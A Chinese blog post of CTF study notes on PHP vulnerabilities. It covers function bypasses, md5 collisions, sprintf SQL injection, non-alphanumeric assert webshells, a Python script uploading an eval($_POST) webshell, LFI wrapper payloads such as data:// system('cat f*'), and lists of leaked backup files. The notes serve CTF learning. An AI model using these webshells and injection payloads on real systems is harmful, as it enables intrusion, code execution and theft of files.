PHP漏洞与注入总结


自己整理的一些tick,可能有点乱,想到什么就添上

一些简单bypass

数值被ban

查询数值(1000)被ban,如ctfshow萌新萌新计划 web 1-8

  • 二进制、十六进制数值绕过,如0b11111010000x38e
  • 运算符绕过\

1.乘法 200*5
2.除法 10/0.01
3.减法 200–80
4.负负 –1000
5.加法 200+800(地址栏输入的话把+换成%2b)

  • 注入绕过,id=1 or 1=1#id=id#(关于第二个,id=id就是输出全部,在MySQL里不加引号的可以理解为变量,而id就相当于一个数组,里面存了所有id值)

一些函数bypass

  1. intval() –> 用于获取变量的整数值

    • 用法
      use
    • 特性:直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换
      如:intval(‘100a123’)=100;intval(‘a123’)=0
    • Intval最大的值取决于操作系统,32位带符号int范围(-2147483648,2147483647),此处应用:判断数值是不是回文,如果参数为2147483647,那么当它反过来,由于超出了限制,所以依然等于2147483647,即为回文
    • eg:
      intval($req["number"])=intval(strrev($req["number"])) 如果要求不是回文,但又要满足这个条件,可以用科学计数法构造0=0:number=0e-0%00
  2. is_numeric() –> 判断变量是否为数字或数字字符串(10进制、16进制)

    • bypass:空字符%00
      无论是%00放在前后都可以判断为非数值,但是%20空格字符只能放在数值后
    • 该函数还可能造成sql注入,例如将'1 or 1'转换为16进制形式,再传参,就可以造成sql注入
  3. preg_match() –> 用于执行一个正则表达式匹配

    • 用法:
      use
      模式分隔符后的”i”标记这是一个大小写不敏感的搜索
      模式中的 \b 标记一个单词边界(通常成对出现)

    • 数组绕过
      preg_match只能处理字符串,当传入的subject是数组时会返回false

    • PCRE回溯次数限制(100万)
      PHP利用PCRE回溯次数限制绕过某些安全限制

      //exp
      import requests
      from io import BytesIO
      
      files = {
      'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
      }
      
      res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
      print(res.headers)
    • 换行符污染字符串
      %0a\n换行污染字符串,如\nflag,%0aflag

    • 构造法绕过函数
      $a='sys';$b='tem';$d=$a.$b;$d('cat flag.php');\

    • ereg()函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

  4. sprintf()绕过addslashes或者mysql_real_escape_string等之类的过滤\

    • 参考:
      参考博客\

    • 用法示例\

      <?php
      $pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
      $sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
      ?>

      ?name=admin&pass=admin%1$' or(1)%23
      %1$其中%后面的数字代表着第几个参数,$符号在这里的作用是中止符,用来检测前面有几个数字的,而$符号后面的字母代表着参数类型,s表示stirng类型

  5. URL默认不编码数字字母,浏览器会自动编码一次,所以php的$_GET()会自动解URL编码一次

  6. 弱比较md5
    数组绕过,不能处理数组返回false
    0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可

    QNKCDZO
    0e830400451993494058024219903391
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
    s214587387a
    0e848240448830537924465865611904
    s214587387a
    0e848240448830537924465865611904
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s1885207154a
    0e509367213418206700842008763514

    特例:$md5==md5(md5($md5)) –> 0e1138100474\

  7. 强比较md5
    2018年强网杯初赛【Web签到】第三关

    if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
     die("success!);

    很典型的一个强比较,md5强碰撞收集or固定字符碰撞:

    param1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap
    
    param2=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap
    param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2
    
    param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2
  8. preg_match() –> 正则匹配
    可以用''单引号绕过,或者在字符串最后加上%0a(换行)/%0c等不可见字符污染字符串来绕过

RCE

  1. 常见RCE函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
  1. 反引号在linux的用法
    在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量
    比如 cat ls 相当于将 ls出来的结果cat

  2. 分号过滤
    闭合php不是只有?>,也可以不用(这条是废话) 分号作为PHP语句的结尾,起到表示语句结尾和语句间分隔的作用,而对于php的单行模式是不需要分号的,因此用?><?来bypass分号

  3. 过滤括号
    使用那些不需要括号的函数,例如require
    由于PHP黑魔法 require和取反运算符之间不需要空格照样执行

  4. 过滤引号
    没有引号表示不能自己传参数,可以使用取反运算

    <?php
    error_reporting(0);
    $a = '/flag';
    echo urlencode(~$a);
  5. 过滤字母、数字(P神链接)
    PHP允许动态函数执行:$f=’assert’;$f(…);
    版本: php5\

    • 字符异或拼接字符串

      <?php
      $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
      $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
      $___=$$__;
      $_($___[_]); // assert($_POST[_]);
    • 字符取反
      P神图

  $__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
//POST: 2=phpinfo();
  • php特性tick
    'a'++ => 'b','b'++ => 'c',...,'z'++ => 'aa'通过自增得到所有字母
    利用Array可以同时获取Aa,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
    Arreay
    PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a

    <?php
    $_=[];
    $_=@"$_"; // $_='Array';
    $_=$_['!'=='@']; // $_=$_[0];
    $___=$_; // A
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___.=$__; // S
    $___.=$__; // S
    $__=$_;
    $__++;$__++;$__++;$__++; // E
    $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
    $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    $___.=$__;
    
    $____='_';
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    $____.=$__;
    
    $_=$$____;
    $___($_[_]); // ASSERT($_POST[_]);
    //POST: _=phpinfo();
    1. eval()
      先用探针试试,echo phpinfo();
      执行系统命令加上反引号,echo `ls`;
      被过滤?我不仅有echo,我还有printdieincluderequireinclude_oncerequire_once
      例如web入门32
      <?php
      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date:   2020-09-04 00:12:34
      # @Last Modified by:   h1xa
      # @Last Modified time: 2020-09-04 00:56:31
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com
      
      */
      error_reporting(0);
      if(isset($_GET['c'])){
          $c = $_GET['c'];
          if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
              eval($c);
          }
      }else{
          highlight_file(__FILE__);
      }

    可以用include函数和post传伪协议构成payload:
    ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

  1. 过滤空格
    %09(tab)${IFS}$IFS$9<><%0a(/n)
    eg: cat<1.txt
  2. 过滤挺多的读文件函数,看看能用nl
  3. 有时候不要拘泥于读文件,可以通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt),类似注入的重命名
    copy()、rename()
  4. 系统函数全部被删除了,用php读文件,payload:php /flag会把flag当成php文件来用

MySQL特性

  1. 两个单引号表示一个原意单引号,可拼接字符串
  2. 注释注入会发生在版本比注释大的条件下
  3. 自动转换查询进制
  4. 在数据库的字符串比较中,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致;
    例如账号长度为6,则注册admin 1即可绕过admin密码

LFI(local file include)

  • PHP中支持的伪协议
    LFI一般使用伪协议读文件,but,why?
    一般读的是*.php文件,如果flag是其中的变量,那么不能直接在前端看到,所以用伪协议的base64转一下,而且如果输出过滤了关键字,那么读取的可能不完整,所以用伪协议的编码
    file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
  • 一些示例
    php://filter/read=convert.base64-encode/resource=/flag
    php://filter/read=string.rot13/resource=/flag
    ?c=data://text/plain,<?php system('cat f*');?>
    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  • 过滤不严谨也可以用目录绕过
    比如if($_GET['u']=='flag.php'),可以用此payload:?u=./flag.php

注入骚姿势

约束注入

参考MySQL特性4

PHP

文件泄露 –> phps

访问*.phps即可下载对应php文件

什么是phps?
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容
因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。
其实,只要不用php等已经在服务器中注册过的MIME类型的文件扩展名即可,但为了国际通用,所以才用了phps文件类型。
text/html, application/x-httpd-php-source, application/x-httpd-php3-source

探针 雅黑PHP探针 phpinfo

PHP探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。
例:ctfshow web16:url后缀名添加/tz.php 版本是雅黑PHP探针

JAVA

文件泄露(叹之师傅博客

WEB-INF/web.xml泄露
例题: https://buuoj.cn/challenges#\[RoarCTF%202019]Easy%20Java

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

杂七杂八

LINUX

  • # –> 统计字符
    echo ${#HOME}输出5

  • $(())与``类似
    echo $((a+$b)),变量加不加$都行
    echo $((16#4a)) –> 42 (都转成10进制哦)

  • &&||

    1.command1 & command2 & command3
    三个命令同时执行
    2.command1; command2; command3
    不管前面命令执行成功没有,后面的命令继续执行
    3.command1 && command2
    只有前面命令执行成功,后面命令才继续执行

    command1 && command2 –> &&左边的命令(命令1)返回真(即返回0,成功被执行)后,&&右边的命令(命令2)才能够被执行;换句话说,“如果这个命令执行成功&&那么执行这个命令”
    command1 || command2 –>
    ||则与&&相反。如果||左边的命令(命令1)未执行成功,那么就执行||右边的命令(命令2);或者换句话说,“如果这个命令执行失败了||那么就执行这个命令

    常见源码泄露

    git、svn、www.zip、Bazaar/bzr、[cvs](https://github.com/kost/dvcs-ripper.git)、WEB-INF/web.xml\
    泄露重要(editor)的信息 直接在url后面添加/editor
    常见备份文件后缀

    .index.php.swp
    index.php.swp
    index.php.bak
    .index.php~
    index.php.bak_Edietplus
    index.php.~
    index.php.~1~
    index.php
    index.php~
    index.php.rar
    index.php.zip
    index.php.7z
    index.php.tar.gz
    www.zip
    www.rar
    www.zip
    www.7z
    www.tar.gz
    www.tar
    web.zip
    web.rar
    web.zip
    web.7z
    web.tar.gz
    web.tar
    wwwroot.rar
    web.rar

文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录